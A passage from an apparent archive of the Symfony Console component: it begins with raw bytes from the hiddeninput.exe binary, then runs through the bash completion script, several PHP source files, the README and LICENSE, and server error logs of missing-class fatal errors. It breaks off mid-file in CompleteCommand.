B(;r3_^[]̋UjhH"@he@dPSVW0@1E3PEdeEh@*tUE-@Ph@Pt;@$ЃEMd Y_^[]ËE3=‹ËeE3Md Y_^[]% @% @he@d5D$l$l$+SVW0@1E3PeuEEEEdËMd Y__^[]QËUuuu uh@h0@]ËVhh3V t VVVVV^3ËU0@eeSWN@;t t У0@`VEP< @u3u @3 @3 @3EP @E3E3;uO@ u 50@։50@^_[%t @%x @%| @% @% @% @% @% @% @Pd5D$ +d$ SVW(0@3PEuEEdËMd Y__^[]QËM3M%T @T$B J3J3l"@s###)r)b)H)4))(((((()#$%%&d&&$('''''(((6('H(Z(t(('''''l'^'R'F'>'>(0'')@W@@MoOl!@0@0@bad allocationH0@!@RSDSьJ!LZc:\users\seld\documents\visual studio 2010\Projects\hiddeninp\Release\hiddeninp.pdbe@@:@@@@"d"@"# $#&D H#(h ###)r)b)H)4))(((((()#$%%&d&&$('''''(((6('H(Z(t(('''''l'^'R'F'>'>(0'')GetConsoleModeSetConsoleMode;GetStdHandleKERNEL32.dll??$?6DU?$char_traits@D@std@@V?$allocator@D@1@@std@@YAAAV?$basic_ostream@DU?$char_traits@D@std@@@0@AAV10@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@@Z?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@AJ?cin@std@@3V?$basic_istream@DU?$char_traits@D@std@@@1@A??$getline@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@YAAAV?$basic_istream@DU?$char_traits@D@std@@@0@AAV10@AAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@@Z??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z_??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ{??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ?endl@std@@YAAAV?$basic_ostream@DU?$char_traits@D@std@@@1@AAV21@@ZMSVCP90.dll_amsg_exit__getmainargs,_cexit|_exitf_XcptFilterexit__initenv_initterm_initterm_e<_configthreadlocale__setusermatherr _adjust_fdiv__p__commode__p__fmodej_encode_pointer__set_app_typeK_crt_debugger_hookC?terminate@@YAXXZMSVCR90.dll_unlock__dllonexitv_lock_onexit`_decode_pointers_except_handler4_common _invoke_watson?_controlfp_sInterlockedExchange!SleepInterlockedCompareExchange-TerminateProcessGetCurrentProcess>UnhandledExceptionFilterSetUnhandledExceptionFilterIsDebuggerPresentTQueryPerformanceCounterfGetTickCountGetCurrentThreadIdGetCurrentProcessIdOGetSystemTimeAsFileTimes__CxxFrameHandler3N@D$!@ 8Ph  @(CV(4VS_VERSION_INFOStringFileInfob040904b0QFileDescriptionReads from stdin without leaking info to the terminal and outputs back to stdout6 FileVersion1, 0, 0, 08 InternalNamehiddeninputPLegalCopyrightJordi Boggiano - 2012HOriginalFilenamehiddeninput.exe: ProductNameHidden Input: ProductVersion1, 0, 0, 0DVarFileInfo$Translation  PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING@00!0/080F0L0T0^0d0n0{000000000000001#1-1@1J1O1T1v1{1111111111111112"2*23292A2M2_2j2p222222222222 333%303N3T3Z3`3f3l3s3z333333333333333334444%4;4B444444444445!5^5c5555H6M6_6}66677 7*7w7|777778 88=8E8P8V8\8b8h8n8t8z88889 $0001 1t1x12 2@2\2`2h2t20 0console/Resources/completion.bash000064400000005766151113511750013206 0ustar00# This file is part of the Symfony package. # # (c) Fabien Potencier # # For the full copyright and license information, please view # https://symfony.com/doc/current/contributing/code/license.html _sf_{{ COMMAND_NAME }}() { # Use the default completion for shell redirect operators. for w in '>' '>>' '&>' '<'; do if [[ $w = "${COMP_WORDS[COMP_CWORD-1]}" ]]; then compopt -o filenames COMPREPLY=($(compgen -f -- "${COMP_WORDS[COMP_CWORD]}")) return 0 fi done # Use newline as only separator to allow space in completion values IFS=$'\n' local sf_cmd="${COMP_WORDS[0]}" # for an alias, get the real script behind it sf_cmd_type=$(type -t $sf_cmd) if [[ $sf_cmd_type == "alias" ]]; then sf_cmd=$(alias $sf_cmd | sed -E "s/alias $sf_cmd='(.*)'/\1/") elif [[ $sf_cmd_type == "file" ]]; then sf_cmd=$(type -p $sf_cmd) fi if [[ $sf_cmd_type != "function" && ! -x $sf_cmd ]]; then return 1 fi local cur prev words cword _get_comp_words_by_ref -n := cur prev words cword local completecmd=("$sf_cmd" "_complete" "--no-interaction" "-sbash" "-c$cword" "-a{{ VERSION }}") for w in ${words[@]}; do w=$(printf -- '%b' "$w") # remove quotes from typed values quote="${w:0:1}" if [ "$quote" == \' ]; then w="${w%\'}" w="${w#\'}" elif [ "$quote" == \" ]; then w="${w%\"}" w="${w#\"}" fi # empty values are ignored if [ ! -z "$w" ]; then completecmd+=("-i$w") fi done local sfcomplete if sfcomplete=$(${completecmd[@]} 2>&1); then local quote suggestions quote=${cur:0:1} # Use single quotes by default if suggestions contains backslash (FQCN) if [ "$quote" == '' ] && [[ "$sfcomplete" =~ \\ ]]; then quote=\' fi if [ "$quote" == \' ]; then # single quotes: no additional escaping (does not accept ' in values) suggestions=$(for s in $sfcomplete; do printf $'%q%q%q\n' "$quote" "$s" "$quote"; done) elif [ "$quote" == \" ]; then # double quotes: double escaping for \ $ ` " suggestions=$(for s in $sfcomplete; do s=${s//\\/\\\\} s=${s//\$/\\\$} s=${s//\`/\\\`} s=${s//\"/\\\"} printf $'%q%q%q\n' "$quote" "$s" "$quote"; done) else # no quotes: double escaping suggestions=$(for s in $sfcomplete; do printf $'%q\n' $(printf '%q' "$s"); done) fi COMPREPLY=($(IFS=$'\n' compgen -W "$suggestions" -- $(printf -- "%q" "$cur"))) __ltrim_colon_completions "$cur" else if [[ "$sfcomplete" != *"Command \"_complete\" is not defined."* ]]; then >&2 echo >&2 echo $sfcomplete fi return 1 fi } complete -F _sf_{{ COMMAND_NAME }} {{ COMMAND_NAME }} console/ConsoleEvents.php000064400000004176151113511750011516 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console; use Symfony\Component\Console\Event\ConsoleCommandEvent; use Symfony\Component\Console\Event\ConsoleErrorEvent; use Symfony\Component\Console\Event\ConsoleSignalEvent; use Symfony\Component\Console\Event\ConsoleTerminateEvent; /** * Contains all events dispatched by an Application. * * @author Francesco Levorato */ final class ConsoleEvents { /** * The COMMAND event allows you to attach listeners before any command is * executed by the console. It also allows you to modify the command, input and output * before they are handed to the command. * * @Event("Symfony\Component\Console\Event\ConsoleCommandEvent") */ public const COMMAND = 'console.command'; /** * The SIGNAL event allows you to perform some actions * after the command execution was interrupted. * * @Event("Symfony\Component\Console\Event\ConsoleSignalEvent") */ public const SIGNAL = 'console.signal'; /** * The TERMINATE event allows you to attach listeners after a command is * executed by the console. * * @Event("Symfony\Component\Console\Event\ConsoleTerminateEvent") */ public const TERMINATE = 'console.terminate'; /** * The ERROR event occurs when an uncaught exception or error appears. * * This event allows you to deal with the exception/error or * to modify the thrown exception. * * @Event("Symfony\Component\Console\Event\ConsoleErrorEvent") */ public const ERROR = 'console.error'; /** * Event aliases. * * These aliases can be consumed by RegisterListenersPass. */ public const ALIASES = [ ConsoleCommandEvent::class => self::COMMAND, ConsoleErrorEvent::class => self::ERROR, ConsoleSignalEvent::class => self::SIGNAL, ConsoleTerminateEvent::class => self::TERMINATE, ]; } console/EventListener/ErrorListener.php000064400000005500151113511750014305 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\EventListener; use Psr\Log\LoggerInterface; use Symfony\Component\Console\ConsoleEvents; use Symfony\Component\Console\Event\ConsoleErrorEvent; use Symfony\Component\Console\Event\ConsoleEvent; use Symfony\Component\Console\Event\ConsoleTerminateEvent; use Symfony\Component\EventDispatcher\EventSubscriberInterface; /** * @author James Halsall * @author Robin Chalas */ class ErrorListener implements EventSubscriberInterface { private ?LoggerInterface $logger; public function __construct(LoggerInterface $logger = null) { $this->logger = $logger; } /** * @return void */ public function onConsoleError(ConsoleErrorEvent $event) { if (null === $this->logger) { return; } $error = $event->getError(); if (!$inputString = $this->getInputString($event)) { $this->logger->critical('An error occurred while using the console. Message: "{message}"', ['exception' => $error, 'message' => $error->getMessage()]); return; } $this->logger->critical('Error thrown while running command "{command}". Message: "{message}"', ['exception' => $error, 'command' => $inputString, 'message' => $error->getMessage()]); } /** * @return void */ public function onConsoleTerminate(ConsoleTerminateEvent $event) { if (null === $this->logger) { return; } $exitCode = $event->getExitCode(); if (0 === $exitCode) { return; } if (!$inputString = $this->getInputString($event)) { $this->logger->debug('The console exited with code "{code}"', ['code' => $exitCode]); return; } $this->logger->debug('Command "{command}" exited with code "{code}"', ['command' => $inputString, 'code' => $exitCode]); } public static function getSubscribedEvents(): array { return [ ConsoleEvents::ERROR => ['onConsoleError', -128], ConsoleEvents::TERMINATE => ['onConsoleTerminate', -128], ]; } private static function getInputString(ConsoleEvent $event): ?string { $commandName = $event->getCommand()?->getName(); $input = $event->getInput(); if ($input instanceof \Stringable) { if ($commandName) { return str_replace(["'$commandName'", "\"$commandName\""], $commandName, (string) $input); } return (string) $input; } return $commandName; } } console/EventListener/error_log000064400000002730151113511750012714 0ustar00[19-Nov-2025 04:16:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/EventListener/ErrorListener.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/EventListener/ErrorListener.php on line 25 [19-Nov-2025 11:04:21 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/EventListener/ErrorListener.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/EventListener/ErrorListener.php on line 25 [25-Nov-2025 04:34:25 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/EventListener/ErrorListener.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/EventListener/ErrorListener.php on line 25 [26-Nov-2025 01:53:41 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/EventListener/ErrorListener.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/EventListener/ErrorListener.php on line 25 console/README.md000064400000002322151113511750007464 0ustar00Console Component ================= The Console component eases the creation of beautiful and testable command line interfaces. Sponsor ------- The Console component for Symfony 6.3 is [backed][1] by [Les-Tilleuls.coop][2]. Les-Tilleuls.coop is a team of 70+ Symfony experts who can help you design, develop and fix your projects. They provide a wide range of professional services including development, consulting, coaching, training and audits. They also are highly skilled in JS, Go and DevOps. They are a worker cooperative! Help Symfony by [sponsoring][3] its development! Resources --------- * [Documentation](https://symfony.com/doc/current/components/console.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) Credits ------- `Resources/bin/hiddeninput.exe` is a third party binary provided within this component. Find sources and license at https://github.com/Seldaek/hidden-input. [1]: https://symfony.com/backers [2]: https://les-tilleuls.coop [3]: https://symfony.com/sponsor console/LICENSE000064400000002054151113511750007214 0ustar00Copyright (c) 2004-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. console/Logger/ConsoleLogger.php000064400000010210151113511750012672 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Logger; use Psr\Log\AbstractLogger; use Psr\Log\InvalidArgumentException; use Psr\Log\LogLevel; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * PSR-3 compliant console logger. * * @author Kévin Dunglas * * @see https://www.php-fig.org/psr/psr-3/ */ class ConsoleLogger extends AbstractLogger { public const INFO = 'info'; public const ERROR = 'error'; private OutputInterface $output; private array $verbosityLevelMap = [ LogLevel::EMERGENCY => OutputInterface::VERBOSITY_NORMAL, LogLevel::ALERT => OutputInterface::VERBOSITY_NORMAL, LogLevel::CRITICAL => OutputInterface::VERBOSITY_NORMAL, LogLevel::ERROR => OutputInterface::VERBOSITY_NORMAL, LogLevel::WARNING => OutputInterface::VERBOSITY_NORMAL, LogLevel::NOTICE => OutputInterface::VERBOSITY_VERBOSE, LogLevel::INFO => OutputInterface::VERBOSITY_VERY_VERBOSE, LogLevel::DEBUG => OutputInterface::VERBOSITY_DEBUG, ]; private array $formatLevelMap = [ LogLevel::EMERGENCY => self::ERROR, LogLevel::ALERT => self::ERROR, LogLevel::CRITICAL => self::ERROR, LogLevel::ERROR => self::ERROR, LogLevel::WARNING => self::INFO, LogLevel::NOTICE => self::INFO, LogLevel::INFO => self::INFO, LogLevel::DEBUG => self::INFO, ]; private bool $errored = false; public function __construct(OutputInterface $output, array $verbosityLevelMap = [], array $formatLevelMap = []) { $this->output = $output; $this->verbosityLevelMap = $verbosityLevelMap + $this->verbosityLevelMap; $this->formatLevelMap = $formatLevelMap + $this->formatLevelMap; } public function log($level, $message, array $context = []): void { if (!isset($this->verbosityLevelMap[$level])) { throw new InvalidArgumentException(sprintf('The log level "%s" does not exist.', $level)); } $output = $this->output; // Write to the error output if necessary and available if (self::ERROR === $this->formatLevelMap[$level]) { if ($this->output instanceof ConsoleOutputInterface) { $output = $output->getErrorOutput(); } $this->errored = true; } // the if condition check isn't necessary -- it's the same one that $output will do internally anyway. // We only do it for efficiency here as the message formatting is relatively expensive. if ($output->getVerbosity() >= $this->verbosityLevelMap[$level]) { $output->writeln(sprintf('<%1$s>[%2$s] %3$s', $this->formatLevelMap[$level], $level, $this->interpolate($message, $context)), $this->verbosityLevelMap[$level]); } } /** * Returns true when any messages have been logged at error levels. */ public function hasErrored(): bool { return $this->errored; } /** * Interpolates context values into the message placeholders. * * @author PHP Framework Interoperability Group */ private function interpolate(string $message, array $context): string { if (!str_contains($message, '{')) { return $message; } $replacements = []; foreach ($context as $key => $val) { if (null === $val || \is_scalar($val) || $val instanceof \Stringable) { $replacements["{{$key}}"] = $val; } elseif ($val instanceof \DateTimeInterface) { $replacements["{{$key}}"] = $val->format(\DateTimeInterface::RFC3339); } elseif (\is_object($val)) { $replacements["{{$key}}"] = '[object '.$val::class.']'; } else { $replacements["{{$key}}"] = '['.\gettype($val).']'; } } return strtr($message, $replacements); } } console/Logger/error_log000064400000003100151113511750011334 0ustar00[20-Nov-2025 03:14:07 UTC] PHP Fatal error: Uncaught Error: Class "Psr\Log\AbstractLogger" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Logger/ConsoleLogger.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Logger/ConsoleLogger.php on line 27 [20-Nov-2025 03:42:50 UTC] PHP Fatal error: Uncaught Error: Class "Psr\Log\AbstractLogger" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Logger/ConsoleLogger.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Logger/ConsoleLogger.php on line 27 [20-Nov-2025 04:53:52 UTC] PHP Fatal error: Uncaught Error: Class "Psr\Log\AbstractLogger" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Logger/ConsoleLogger.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Logger/ConsoleLogger.php on line 27 [25-Nov-2025 04:33:10 UTC] PHP Fatal error: Uncaught Error: Class "Psr\Log\AbstractLogger" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Logger/ConsoleLogger.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Logger/ConsoleLogger.php on line 27 [26-Nov-2025 01:53:05 UTC] PHP Fatal error: Uncaught Error: Class "Psr\Log\AbstractLogger" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Logger/ConsoleLogger.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Logger/ConsoleLogger.php on line 27 console/Command/DumpCompletionCommand.php000064400000012500151113511760014532 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Process\Process; /** * Dumps the completion script for the current shell. * * @author Wouter de Jong */ #[AsCommand(name: 'completion', description: 'Dump the shell completion script')] final class DumpCompletionCommand extends Command { /** * @deprecated since Symfony 6.1 */ protected static $defaultName = 'completion'; /** * @deprecated since Symfony 6.1 */ protected static $defaultDescription = 'Dump the shell completion script'; private array $supportedShells; protected function configure(): void { $fullCommand = $_SERVER['PHP_SELF']; $commandName = basename($fullCommand); $fullCommand = @realpath($fullCommand) ?: $fullCommand; $shell = $this->guessShell(); [$rcFile, $completionFile] = match ($shell) { 'fish' => ['~/.config/fish/config.fish', "/etc/fish/completions/$commandName.fish"], 'zsh' => ['~/.zshrc', '$fpath[1]/_'.$commandName], default => ['~/.bashrc', "/etc/bash_completion.d/$commandName"], }; $supportedShells = implode(', ', $this->getSupportedShells()); $this ->setHelp(<<%command.name% command dumps the shell completion script required to use shell autocompletion (currently, {$supportedShells} completion are supported). Static installation ------------------- Dump the script to a global completion file and restart your shell: %command.full_name% {$shell} | sudo tee {$completionFile} Or dump the script to a local file and source it: %command.full_name% {$shell} > completion.sh # source the file whenever you use the project source completion.sh # or add this line at the end of your "{$rcFile}" file: source /path/to/completion.sh Dynamic installation -------------------- Add this to the end of your shell configuration file (e.g. "{$rcFile}"): eval "$({$fullCommand} completion {$shell})" EOH ) ->addArgument('shell', InputArgument::OPTIONAL, 'The shell type (e.g. "bash"), the value of the "$SHELL" env var will be used if this is not given', null, $this->getSupportedShells(...)) ->addOption('debug', null, InputOption::VALUE_NONE, 'Tail the completion debug log') ; } protected function execute(InputInterface $input, OutputInterface $output): int { $commandName = basename($_SERVER['argv'][0]); if ($input->getOption('debug')) { $this->tailDebugLog($commandName, $output); return 0; } $shell = $input->getArgument('shell') ?? self::guessShell(); $completionFile = __DIR__.'/../Resources/completion.'.$shell; if (!file_exists($completionFile)) { $supportedShells = $this->getSupportedShells(); if ($output instanceof ConsoleOutputInterface) { $output = $output->getErrorOutput(); } if ($shell) { $output->writeln(sprintf('Detected shell "%s", which is not supported by Symfony shell completion (supported shells: "%s").', $shell, implode('", "', $supportedShells))); } else { $output->writeln(sprintf('Shell not detected, Symfony shell completion only supports "%s").', implode('", "', $supportedShells))); } return 2; } $output->write(str_replace(['{{ COMMAND_NAME }}', '{{ VERSION }}'], [$commandName, CompleteCommand::COMPLETION_API_VERSION], file_get_contents($completionFile))); return 0; } private static function guessShell(): string { return basename($_SERVER['SHELL'] ?? ''); } private function tailDebugLog(string $commandName, OutputInterface $output): void { $debugFile = sys_get_temp_dir().'/sf_'.$commandName.'.log'; if (!file_exists($debugFile)) { touch($debugFile); } $process = new Process(['tail', '-f', $debugFile], null, null, null, 0); $process->run(function (string $type, string $line) use ($output): void { $output->write($line); }); } /** * @return string[] */ private function getSupportedShells(): array { if (isset($this->supportedShells)) { return $this->supportedShells; } $shells = []; foreach (new \DirectoryIterator(__DIR__.'/../Resources/') as $file) { if (str_starts_with($file->getBasename(), 'completion.') && $file->isFile()) { $shells[] = $file->getExtension(); } } sort($shells); return $this->supportedShells = $shells; } } console/Command/HelpCommand.php000064400000004756151113511760012501 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Descriptor\ApplicationDescription; use Symfony\Component\Console\Helper\DescriptorHelper; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * HelpCommand displays the help for a given command. * * @author Fabien Potencier */ class HelpCommand extends Command { private Command $command; /** * @return void */ protected function configure() { $this->ignoreValidationErrors(); $this ->setName('help') ->setDefinition([ new InputArgument('command_name', InputArgument::OPTIONAL, 'The command name', 'help', fn () => array_keys((new ApplicationDescription($this->getApplication()))->getCommands())), new InputOption('format', null, InputOption::VALUE_REQUIRED, 'The output format (txt, xml, json, or md)', 'txt', fn () => (new DescriptorHelper())->getFormats()), new InputOption('raw', null, InputOption::VALUE_NONE, 'To output raw command help'), ]) ->setDescription('Display help for a command') ->setHelp(<<<'EOF' The %command.name% command displays help for a given command: %command.full_name% list You can also output the help in other formats by using the --format option: %command.full_name% --format=xml list To display the list of available commands, please use the list command. EOF ) ; } /** * @return void */ public function setCommand(Command $command) { $this->command = $command; } protected function execute(InputInterface $input, OutputInterface $output): int { $this->command ??= $this->getApplication()->find($input->getArgument('command_name')); $helper = new DescriptorHelper(); $helper->describe($output, $this->command, [ 'format' => $input->getOption('format'), 'raw_text' => $input->getOption('raw'), ]); unset($this->command); return 0; } } console/Command/LazyCommand.php000064400000013713151113511760012521 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Application; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Completion\Suggestion; use Symfony\Component\Console\Helper\HelperInterface; use Symfony\Component\Console\Helper\HelperSet; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * @author Nicolas Grekas */ final class LazyCommand extends Command { private \Closure|Command $command; private ?bool $isEnabled; public function __construct(string $name, array $aliases, string $description, bool $isHidden, \Closure $commandFactory, ?bool $isEnabled = true) { $this->setName($name) ->setAliases($aliases) ->setHidden($isHidden) ->setDescription($description); $this->command = $commandFactory; $this->isEnabled = $isEnabled; } public function ignoreValidationErrors(): void { $this->getCommand()->ignoreValidationErrors(); } public function setApplication(Application $application = null): void { if (1 > \func_num_args()) { trigger_deprecation('symfony/console', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } if ($this->command instanceof parent) { $this->command->setApplication($application); } parent::setApplication($application); } public function setHelperSet(HelperSet $helperSet): void { if ($this->command instanceof parent) { $this->command->setHelperSet($helperSet); } parent::setHelperSet($helperSet); } public function isEnabled(): bool { return $this->isEnabled ?? $this->getCommand()->isEnabled(); } public function run(InputInterface $input, OutputInterface $output): int { return $this->getCommand()->run($input, $output); } public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { $this->getCommand()->complete($input, $suggestions); } public function setCode(callable $code): static { $this->getCommand()->setCode($code); return $this; } /** * @internal */ public function mergeApplicationDefinition(bool $mergeArgs = true): void { $this->getCommand()->mergeApplicationDefinition($mergeArgs); } public function setDefinition(array|InputDefinition $definition): static { $this->getCommand()->setDefinition($definition); return $this; } public function getDefinition(): InputDefinition { return $this->getCommand()->getDefinition(); } public function getNativeDefinition(): InputDefinition { return $this->getCommand()->getNativeDefinition(); } /** * @param array|\Closure(CompletionInput,CompletionSuggestions):list $suggestedValues The values used for input completion */ public function addArgument(string $name, int $mode = null, string $description = '', mixed $default = null /* array|\Closure $suggestedValues = [] */): static { $suggestedValues = 5 <= \func_num_args() ? func_get_arg(4) : []; $this->getCommand()->addArgument($name, $mode, $description, $default, $suggestedValues); return $this; } /** * @param array|\Closure(CompletionInput,CompletionSuggestions):list $suggestedValues The values used for input completion */ public function addOption(string $name, string|array $shortcut = null, int $mode = null, string $description = '', mixed $default = null /* array|\Closure $suggestedValues = [] */): static { $suggestedValues = 6 <= \func_num_args() ? func_get_arg(5) : []; $this->getCommand()->addOption($name, $shortcut, $mode, $description, $default, $suggestedValues); return $this; } public function setProcessTitle(string $title): static { $this->getCommand()->setProcessTitle($title); return $this; } public function setHelp(string $help): static { $this->getCommand()->setHelp($help); return $this; } public function getHelp(): string { return $this->getCommand()->getHelp(); } public function getProcessedHelp(): string { return $this->getCommand()->getProcessedHelp(); } public function getSynopsis(bool $short = false): string { return $this->getCommand()->getSynopsis($short); } public function addUsage(string $usage): static { $this->getCommand()->addUsage($usage); return $this; } public function getUsages(): array { return $this->getCommand()->getUsages(); } public function getHelper(string $name): HelperInterface { return $this->getCommand()->getHelper($name); } public function getCommand(): parent { if (!$this->command instanceof \Closure) { return $this->command; } $command = $this->command = ($this->command)(); $command->setApplication($this->getApplication()); if (null !== $this->getHelperSet()) { $command->setHelperSet($this->getHelperSet()); } $command->setName($this->getName()) ->setAliases($this->getAliases()) ->setHidden($this->isHidden()) ->setDescription($this->getDescription()); // Will throw if the command is not correctly initialized. $command->getDefinition(); return $command; } } console/Command/SignalableCommandInterface.php000064400000001530151113511760015456 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; /** * Interface for command reacting to signal. * * @author Grégoire Pineau */ interface SignalableCommandInterface { /** * Returns the list of signals to subscribe. */ public function getSubscribedSignals(): array; /** * The method will be called when the application is signaled. * * @param int|false $previousExitCode * @return int|false The exit code to return or false to continue the normal execution */ public function handleSignal(int $signal, /* int|false $previousExitCode = 0 */); } console/Command/CompleteCommand.php000064400000022052151113511760013346 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Completion\Output\BashCompletionOutput; use Symfony\Component\Console\Completion\Output\CompletionOutputInterface; use Symfony\Component\Console\Completion\Output\FishCompletionOutput; use Symfony\Component\Console\Completion\Output\ZshCompletionOutput; use Symfony\Component\Console\Exception\CommandNotFoundException; use Symfony\Component\Console\Exception\ExceptionInterface; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Responsible for providing the values to the shell completion. * * @author Wouter de Jong */ #[AsCommand(name: '|_complete', description: 'Internal command to provide shell completion suggestions')] final class CompleteCommand extends Command { public const COMPLETION_API_VERSION = '1'; /** * @deprecated since Symfony 6.1 */ protected static $defaultName = '|_complete'; /** * @deprecated since Symfony 6.1 */ protected static $defaultDescription = 'Internal command to provide shell completion suggestions'; private $completionOutputs; private $isDebug = false; /** * @param array> $completionOutputs A list of additional completion outputs, with shell name as key and FQCN as value */ public function __construct(array $completionOutputs = []) { // must be set before the parent constructor, as the property value is used in configure() $this->completionOutputs = $completionOutputs + [ 'bash' => BashCompletionOutput::class, 'fish' => FishCompletionOutput::class, 'zsh' => ZshCompletionOutput::class, ]; parent::__construct(); } protected function configure(): void { $this ->addOption('shell', 's', InputOption::VALUE_REQUIRED, 'The shell type ("'.implode('", "', array_keys($this->completionOutputs)).'")') ->addOption('input', 'i', InputOption::VALUE_REQUIRED | InputOption::VALUE_IS_ARRAY, 'An array of input tokens (e.g. COMP_WORDS or argv)') ->addOption('current', 'c', InputOption::VALUE_REQUIRED, 'The index of the "input" array that the cursor is in (e.g. COMP_CWORD)') ->addOption('api-version', 'a', InputOption::VALUE_REQUIRED, 'The API version of the completion script') ->addOption('symfony', 'S', InputOption::VALUE_REQUIRED, 'deprecated') ; } protected function initialize(InputInterface $input, OutputInterface $output): void { $this->isDebug = filter_var(getenv('SYMFONY_COMPLETION_DEBUG'), \FILTER_VALIDATE_BOOL); } protected function execute(InputInterface $input, OutputInterface $output): int { try { // "symfony" must be kept for compat with the shell scripts generated by Symfony Console 5.4 - 6.1 $version = $input->getOption('symfony') ? '1' : $input->getOption('api-version'); if ($version && version_compare($version, self::COMPLETION_API_VERSION, '<')) { 